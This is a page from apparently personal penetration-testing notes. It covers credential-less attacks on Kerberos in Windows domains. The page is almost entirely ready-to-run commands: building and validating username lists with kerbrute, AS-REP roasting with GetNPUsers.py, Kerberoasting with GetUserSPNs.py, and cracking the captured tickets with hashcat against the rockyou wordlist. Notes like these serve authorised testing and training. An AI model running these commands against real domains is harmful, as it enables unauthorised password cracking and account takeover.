🥷
Penetration Testing Notes
Home
  • Notes
  • Port Scanning
  • Credential-less Enumeration
    • Secure Shell
    • Simple Mail Transfer Protocol
    • File Transfer Protocol
    • Domain Name Service
    • Hypertext Transfer Protocol
    • Internet Message Access Protocol / Post Office Protocol
    • Kerberos
    • Remote Procedure Call
    • Server Message Block
    • Simple Network Management Protocol
    • Lightweight Directory Access Protocol
    • Netlogon Remote Protocol
    • Network File Share
    • Remote Desktop Protocol
    • My Structured Query Language
    • Microsoft Structured Query Language
    • Oracle Transparent Network Substrate
    • Intelligent Platform Management Interface
    • Rsync
    • R-Services
    • Remote Desktop Protocol
    • Windows Remote Management
    • Windows Management Instrumentation
  • Credentialed Enumeration
    • Secure Shell
    • Server Message Block
    • Lightweight Directory Access Protocol
    • Kerberos
    • MSSQL
    • Windows Remote Management
  • Privilege Escalation
    • Linux
    • Windows
  • Windows Active Directory
    • Abuse Weak Access Control Lists (ACLs)
    • Overpass The Hash
    • Object Scoping
    • Pass The Ticket
  • Miscellaneous
    • File Transfers
    • Shells & Payloads
    • Metasploit Framework
    • Password Mutations
  • All Notes
Powered by GitBook
On this page
  • User Discovery
  • Asreproasting
  • Kerberoasting
  1. Credential-less Enumeration

Kerberos

User Discovery

Compile usernames

/opt/username-anarchy/username-anarchy --input-file ./test-names.txt

Find valid users

kerbrute userenum /usr/share/wordlists/seclists/Usernames/Names/names.txt -d $domain --dc $ip

Asreproasting

uf dont require preauth

GetNPUsers.py $domain/ -no-pass -usersfile /path/to/names.txt -dc-ip $ip
hashcat -d 2 krb5asrep.txt -m 18200 -a 0 /usr/share/wordlists/rockyou.txt

Kerberoasting

python3 /usr/local/bin/GetUserSPNs.py domain.com/user:password -dc-ip $ip -request
hashcat -d 2 krb5tgs.txt -m 13100 -a 0 /usr/share/wordlists/rockyou.txt
PreviousInternet Message Access Protocol / Post Office ProtocolNextRemote Procedure Call

Last updated 1 year ago